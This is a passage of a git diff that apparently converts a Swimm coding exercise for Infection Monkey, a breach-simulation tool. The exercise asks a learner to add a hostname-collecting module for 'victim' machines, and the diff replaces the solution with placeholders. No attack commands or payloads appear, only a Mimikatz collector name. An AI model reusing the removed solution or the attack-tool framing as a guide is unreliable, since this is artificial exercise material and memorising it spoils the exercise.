ZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGc3lzdGVtX2luZm9fdGVsZW1ldHJ5X2Rpc3BhdGNoZXIucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBaW5kZXglMjA2MzlhMzkyYy4uN2FhNmQzYTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZzeXN0ZW1faW5mb190ZWxlbWV0cnlfZGlzcGF0Y2hlci5weSUwQSU0MCU0MCUyMC0zJTJDMTQlMjAlMkIzJTJDMTElMjAlNDAlNDAlMjBpbXBvcnQlMjB0eXBpbmclMEElMjAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5hd3MlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjBwcm9jZXNzX2F3c190ZWxlbWV0cnklMEElMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmVudmlyb25tZW50JTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwcHJvY2Vzc19lbnZpcm9ubWVudF90ZWxlbWV0cnklMEEtZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5ob3N0bmFtZSUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS56ZXJvX3RydXN0X3Rlc3RzLmFudGl2aXJ1c19leGlzdGVuY2UlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjB0ZXN0X2FudGl2aXJ1c19leGlzdGVuY2UlMEElMjAlMEElNDAlNDAlMjAtMTklMkM3JTIwJTJCMTYlMkM2JTIwJTQwJTQwJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX1RPX1RFTEVNRVRSWV9QUk9DRVNTT1JTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwQVdTX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfYXdzX3RlbGVtZXRyeSU1RCUyQyUwQSUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfZW52aXJvbm1lbnRfdGVsZW1ldHJ5JTVEJTJDJTBBLSUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfaG9zdG5hbWVfdGVsZW1ldHJ5JTVEJTJDJTBBJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUzQSUyMCU1QnRlc3RfYW50aXZpcnVzX2V4aXN0ZW5jZSU1RCUwQSUyMCU3RCUwQSUyMCUwQQ==", + "dod": "Add a system info collector that collects the machine hostname.", + "description": "# What are system info collectors?\n\nWell, the name pretty much explains it. They are Monkey classes which collect various information regarding the victim system, such as Environment, SSH Info, Process List, Netstat and more. \n\n## What should I add? \n\nA system info collector which collects the hostname of the system.\n\n## Test manually\n\nOnce you're done, make sure that your collector:\n* Appears in the Island configuration, and is enabled by default\n* The collector actually runs when executing a Monkey.\n* Results show up in the relevant places:\n * The infection map.\n * The security report.\n * The relevant MITRE techniques.\n\n**There are a lot of hints for this unit - don't be afraid to use them!**", + "summary": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!", + "hunksOrder": [ + "monkey/common/data/system_info_collectors_names.py_0", + "monkey/infection_monkey/system_info/collectors/hostname_collector.py_0", + "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py_0", + "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py_1", + "monkey/monkey_island/cc/services/config_schema/monkey.py_0", + "monkey/monkey_island/cc/services/config_schema/monkey.py_1", + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py_0", + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py_0", + "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py_1" + ], "tests": [], "hints": [ "First thing you should do is take a look at a different collector (like EnvironmentCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.", @@ -12,95 +22,211 @@ "Take a look at SystemInfoCollector - that's the base class you'll need to implement.", "Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!" ], - "files": { + "play_mode": "all", + "swimmPatch": { "monkey/common/data/system_info_collectors_names.py": { - "index": [ - "175a054e..3b478dc9", - "100644" - ], - "fileA": "monkey/common/data/system_info_collectors_names.py", - "fileB": "monkey/common/data/system_info_collectors_names.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMEFXU19DT0xMRUNUT1IlMjAlM0QlMjAlNUMlMjJBd3NDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIySE9TVE5BTUVfQ09MTEVDVE9SJTIwJTNEJTIwJTVDJTIySG9zdG5hbWVDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIzJTIwU1dJTU1FUiUzQSUyMENvbGxlY3RvciUyMG5hbWUlMjBnb2VzJTIwaGVyZS4lMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTIwJTNEJTIwJTVDJTIyRW52aXJvbm1lbnRDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQUk9DRVNTX0xJU1RfQ09MTEVDVE9SJTIwJTNEJTIwJTVDJTIyUHJvY2Vzc0xpc3RDb2xsZWN0b3IlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTJDJTIyYiUyMiUzQTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMjAlM0QlMjAlNUMlMjJNaW1pa2F0ekNvbGxlY3RvciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/common/data/system_info_collectors_names.py b/monkey/common/data/system_info_collectors_names.py\nindex 175a054e..3b478dc9 100644\n--- a/monkey/common/data/system_info_collectors_names.py\n+++ b/monkey/common/data/system_info_collectors_names.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " AWS_COLLECTOR = \"AwsCollector\"", + "-HOSTNAME_COLLECTOR = \"HostnameCollector\"", + "+# SWIMMER: Collector name goes here.", + " ENVIRONMENT_COLLECTOR = \"EnvironmentCollector\"", + " PROCESS_LIST_COLLECTOR = \"ProcessListCollector\"", + " MIMIKATZ_COLLECTOR = \"MimikatzCollector\"" + ] + } ] }, "monkey/infection_monkey/system_info/collectors/hostname_collector.py": { - "index": [ - "ae956081..4dc6701a", - "100644" - ], - "fileA": "monkey/infection_monkey/system_info/collectors/hostname_collector.py", - "fileB": "monkey/infection_monkey/system_info/collectors/hostname_collector.py", - "status": "MODIFIED", - "numLineDeletions": 12, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTYlMjAlMkIxJTJDNSUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBpbXBvcnQlMjBsb2dnaW5nJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSUyQyUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmltcG9ydCUyMHNvY2tldCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGluZmVjdGlvbl9tb25rZXkuc3lzdGVtX2luZm8uc3lzdGVtX2luZm9fY29sbGVjdG9yJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBTeXN0ZW1JbmZvQ29sbGVjdG9yJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGxvZ2dlciUyMCUzRCUyMGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTglMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTklMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJjbGFzcyUyMEhvc3RuYW1lQ29sbGVjdG9yKFN5c3RlbUluZm9Db2xsZWN0b3IpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdXBlcigpLl9faW5pdF9fKG5hbWUlM0RIT1NUTkFNRV9DT0xMRUNUT1IpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwZGVmJTIwY29sbGVjdChzZWxmKSUyMC0lM0UlMjBkaWN0JTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwJTdCJTVDJTIyaG9zdG5hbWUlNUMlMjIlM0ElMjBzb2NrZXQuZ2V0ZnFkbigpJTdEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTV0lNTUVSJTNBJTIwVGhlJTIwY29sbGVjdG9yJTIwY2xhc3MlMjBnb2VzJTIwaGVyZS4lMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E1JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0ExNiU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py\nindex ae956081..bdeb5033 100644\n--- a/monkey/infection_monkey/system_info/collectors/hostname_collector.py\n+++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,16 +1,5 @@", + " import logging", + "-import socket", + "-", + "-from common.data.system_info_collectors_names import HOSTNAME_COLLECTOR", + "-from infection_monkey.system_info.system_info_collector import \\", + "- SystemInfoCollector", + " ", + " logger = logging.getLogger(__name__)", + " ", + "-", + "+# SWIMMER: The collector class goes here.", + "-class HostnameCollector(SystemInfoCollector):", + "- def __init__(self):", + "- super().__init__(name=HOSTNAME_COLLECTOR)", + "-", + "- def collect(self) -> dict:", + "- return {\"hostname\": socket.getfqdn()}" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": { - "index": [ - "5f113f4a..7043e227", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", - "status": "MODIFIED", - "numLineDeletions": 10, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwKEFXU19DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBIT1NUTkFNRV9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E2JTdEJTdEJTdEJTdE", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0zNyUyQzE1JTIwJTJCMzYlMkM3JTIwJTQwJTQwJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX0NMQVNTRVMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMklmJTIwb24lMjBBV1MlMkMlMjBjb2xsZWN0cyUyMG1vcmUlMjBpbmZvcm1hdGlvbiUyMGFib3V0JTIwdGhlJTIwQVdTJTIwaW5zdGFuY2UlMjBjdXJyZW50bHklMjBydW5uaW5nJTIwb24uJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMzclMkMlMjJiJTIyJTNBMzYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMDgyJTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMzglMkMlMjJiJTIyJTNBMzclN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzOSUyQyUyMmIlMjIlM0EzOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdC